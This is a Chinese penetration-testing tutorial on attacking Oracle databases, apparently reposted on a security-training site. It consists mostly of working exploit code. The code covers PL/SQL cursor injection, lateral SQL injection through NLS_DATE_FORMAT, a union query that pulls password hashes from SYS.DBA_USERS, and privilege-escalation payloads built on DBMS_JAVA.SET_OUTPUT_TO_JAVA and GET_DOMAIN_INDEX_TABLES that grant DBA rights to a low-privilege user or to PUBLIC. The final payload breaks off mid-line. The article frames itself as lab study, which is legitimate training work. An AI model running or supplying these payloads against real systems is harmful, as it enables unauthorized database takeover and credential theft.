当前位置:网站首页 > 网络安全培训 > 正文

渗透测试之地基服务篇:服务攻防之数据库Oracle(下)

freebuffreebuf 2021-07-17 276 0

本文来源:

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础,承载着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

如果连Oracle都不会提权,怎么进行下一步的研究Oracle数据库安全!怎么拿下对方服务器?

二、PL/SQL Injection

PL/SQL 是Oracle公司在标准SQL语言的基础上进行扩展,可以在数据库上进行设计编程的一种过程化的语言,类似程序语言JAVA一样可以实现逻辑判断、条件循环、异常处理等细节操作,可以处理复杂性问题。

PL/SQL通常有以下用途:

创建存储过程 创建函数 创建触发器 创建对象 … 

需要注意的一点是PL/SQL的执行权限,这个非常重要,说到这个就不得不提到AUTHID CURRENT_USER:

1、如果PL/SQL使用AUTHID CURRENT_USER关键词创建,那么在它执行时会以调用者(invoker)的权限来执行 2、如果没有这个关键词,那么在它执行时会以它的定义者(definer)的权限来执行 

还有最重要的一点,Oracle不支持堆叠注入(多语句执行)

至于PL/SQL注入是什么,其实原理就是类似于SQL注入,但利用时有一些oracle自身的特性是需要注意的,看了下面例子差不多就明白了

1、Cursor Injection

先来看下面这个procedure,由DBA(SYS)创建,并赋予public执行权限,也就是说数据库能所有用户都可以调用这个procedure

由于没有声明AUTHID CURRENT_USER,所以该存储进程执行时的权限是其定义者(definer),也就是SYS:

CONNECT / AS SYSDBA;  CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; LOOP FETCH CV INTO BUFFER; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; /  GRANT EXECUTE ON GET_OWNER TO PUBLIC; 

1626490303_60f245bfd267aee595359.png?1626490304435

很明显P_OBJNM是存在SQL注入的,但由于Oracle不支持堆叠查询,我们只能够使用联合查询来注出一些数据,但仅仅查数据肯定不能满足我们的需求。

set serveroutput on; exec SYS.GET_OWNER('AAA'' union select PASSWORD from SYS.DBA_USERS --'); 

我们可以创建一个执行其他命令的函数(需要CREATE PROCEDURE权限),并且加上AUTHID CURRENT_USER,然后用||将函数注入到SQL语句中,当SQL语句以SYS权限执行时,这个被注入的函数作为SQL语句的一部分也会被执行:

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; RETURN 'GOT_DBA_PRIVS'; END; /   exec SYS.GET_OWNER('AAA''||TEST5.GET_DBA --'); 

1626490311_60f245c71e00e46eab630.png?1626490311668

在这里的GET_DBA这种函数被称为辅助注入函数,如果我们没有办法自己创建辅助注入函数的话,就要寻找oracle上已经存在的、可以辅助注入的函数。其它的可以看这里:

https://www.t00ls.net/articles-23609.html  http://www.davidlitchfield.com/HackingAurora.pdf 

2、Lateral SQL Injection

这个是Oracle SQL注入的另一种利用手法,与我们通常理解的Web或代码层面SQL注入不太一样,它主要针对以下两种情况:

Procedure不接收用户输入的参数(参数不可控) Procedure中SQL语句拼接的参数被定义为NUMBER或DATA类型 

先看下面这个存储过程,它接收一个日期类型的参数,并将参数动态拼接入SQL语句:

create or replace procedure date_proc_2 (p_date DATE) is stmt varchar2(200); begin stmt:='select object_name from all_objects where created = ''' || p_date || ''''; dbms_output.put_line(stmt); execute immediate stmt; end; /  

1626490321_60f245d18a3de5ad33278.png?1626490321850先来尝试注入一下:

exec date_proc_2('11''||TEST5.GET_DBA --'); 

1626490326_60f245d60ad9c16f87d89.png?1626490326387直接GG,通常这种情况可能被认为无法注入,但如果我们有ALTER SESSION权限的话,就可以欺骗PL/SQL编译器将任意SQL语句作为日期类型(其实原本这个功能是用来修改日期类型的格式的)

ALTER SESSION SET NLS_DATE_FORMAT = '"'' and TEST6.GET_DBA()=1--"';  -- 然后注入获取DBA exec SYS.date_proc_2(''' and TEST6.GET_DBA()=1--');  set role dba; 

如图所示:
1626490331_60f245dbb8d67e6cf06be.png?1626490332098再来看这样一个存储进程,它不接收任何参数,拼接入SQL语句中的参数从sysdate中获取:

create or replace procedure date_proc is stmt varchar2(200); v_date date:=sysdate; begin stmt:='select object_name from all_objects where created = ''' || v_date || ''''; dbms_output.put_line(stmt); execute immediate stmt; end; /  

1626490336_60f245e058541fc00bc93.png?1626490336621

我们故技重施,去污染date类型:

select SYSDATE from dual;  ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"'; select SYSDATE from dual; 

1626490341_60f245e53709cf2e2d9f4.png?1626490341802可以看到成功添加一个单引号进去,此时我们再去执行上面的Procedure,会得到一个单引号未正常闭合的报错:

exec SYS.DATE_PROC(); 

1626490464_60f2466041dd380a9f62b.png?1626490464989那么我们是否能够将语句成功注入进去呢?答案是暂时还不行,因为date类型限制了长度,如下图:

ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"'; 

1626490469_60f24665b832cf544a5e7.png?1626490470197但是oracle有个游标(可以理解为给你的语句一个ID,然后执行的时候直接通过ID执行即可)正好可以被我们所利用
关于游标可参考:
https://www.cnblogs.com/huyong/archive/2011/05/04/2036377.html

set serveroutput on;  DECLARE N NUMBER; BEGIN N:=DBMS_SQL.OPEN_CURSOR(); DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO TEST5''; END;',0); DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N); END; /  

1626490477_60f2466dcb66d846bc224.png?1626490478146注意开启输出,不然无法打印游标号!!

之后就是污染date类型,进而实现SQL注入:

ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND DBMS_SQL.EXECUTE(1)=1--"';  -- 此时再执行Procedure exec SYS.DATE_PROC(); 

这里停止了,较为深入!!

三、权限提升

1、SET_OUTPUT_TO_JAVA

测试环境: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit 权限要求:CREATE SESSION 

利用DBMS_JAVA.SET_OUTPUT_TO_JAVA()函数的特性来提升只拥有CREATE SESSION的用户的权限

1)原理

该函数可以利用前面提到的Lateral SQL Injection来进行注入,进而获取DBA权限,先来看他的参数:
1626490492_60f2467cb9d04470faa2a.png?1626490493091其中后两个参数允许我们传入SQL语句

这个函数允许用户在另一个新的虚拟session中重定向java输出写入到System.out和System.err,最后两个参数的SQL语句将在这个新session中执行

如果攻击者可以得到一个属于SYS的使用java的package并将它写入System.out和System.err,那么这个新会话的所属者就是SYS,进而所执行的SQL语句也将以SYS权限执行

而DBMS_CDC_ISUBSCRIBE正是一个符合条件package,它可被public执行,属于SYS并且是definer权限执行,通过将无效的订阅名传递给这个包的e INT_PURGE_WINDOW过程,则可以将错误强制写入System.err,随后将以SYS权限执行前一个请求的参数中提供的SQL语句

2)利用

创建普通用户:

create user 用户名 identified by 密码 create user dayu identified by dayu123; 

1626490499_60f246839992882b3b7db.png?1626490499757给用户连接赋予权限:

grant 权限 to 用户;  grant create session to dayu; #connect,resource 是角色,角色有多个权限 CREATE PROCEDURE 

1626490503_60f246876d2b65c2700d0.png?1626490503575

切换用户:

connect user/passwrod; connect dayu/dayu123; 

1626490508_60f2468c2430749cefb64.png?1626490508248

简单查看权限:

select * from user_role_privs; select t.DEFAULT_ROLE from user_role_privs t where t.granted_role='DBA'; 

1626490512_60f246901d27710b05daf.png?1626490512304

开始提权:

-- 注意替换GRANT语句中的用户名 SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO dayu''; END;', 'BEGIN NULL; END;') FROM DUAL;  -- 这句执行会报错,但不影响结果 EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());  -- 这句其实要不要都行,不执行的话直接grant赋权也行 set role dba; 

1626490518_60f246962bf620036cdce.png?1626490518634

1626490522_60f2469a52167b0b6dd19.png?1626490524451
1626490525_60f2469daf6eb4fcbf26b.png?1626490526450

大佬是提权成功了!!!

2、GET_DOMAIN_INDEX_TABLES

影响版本:Oracle Database = 10g R2 (未打补丁的情况下) 测试环境: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - 64bit 权限要求:CREATE SESSION 

这个利用的是PL/SQL Injection来提升权限

1)原理

先来看SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES这个函数的定义:

FUNCTION GET_DOMAIN_INDEX_TABLES (   TYPE_NAME IN VARCHAR2,   TYPE_SCHEMA IN VARCHAR2,   ... BEGIN   IF GET_TABLES = 1 THEN   GETTABLENAMES_CONTEXT := 0; ... ELSE   STMTSTRING :=   'BEGIN ' ||   '"' || TYPE_SCHEMA || '"."' || TYPE_NAME ||   '".ODCIIndexUtilCleanup(:p1); ' ||   'END;';   DBMS_SQL.PARSE(CRS, STMTSTRING, DBMS_SYS_SQL.V7);   DBMS_SQL.BIND_VARIABLE(CRS,':p1',GETTABLENAMES_CONTEXT);   DUMMY := DBMS_SQL.EXECUTE(CRS);   DBMS_SQL.CLOSE_CURSOR(CRS);   STMTSTRING := ''; ... 

可以看到当GET_TABLES != 1时,TYPE_NAME和TYPE_SCHEMA被直接动态拼接进PL/SQL语句中并执行

由于这个函数是以definer权限来执行的,所以我们注入的语句也会以SYS权限来执行

因此我们构造语句,传入参数TYPE_NAME:

DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to test2

转载请注明来自网盾网络安全培训,本文标题:《渗透测试之地基服务篇:服务攻防之数据库Oracle(下)》

标签:数据库安全

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表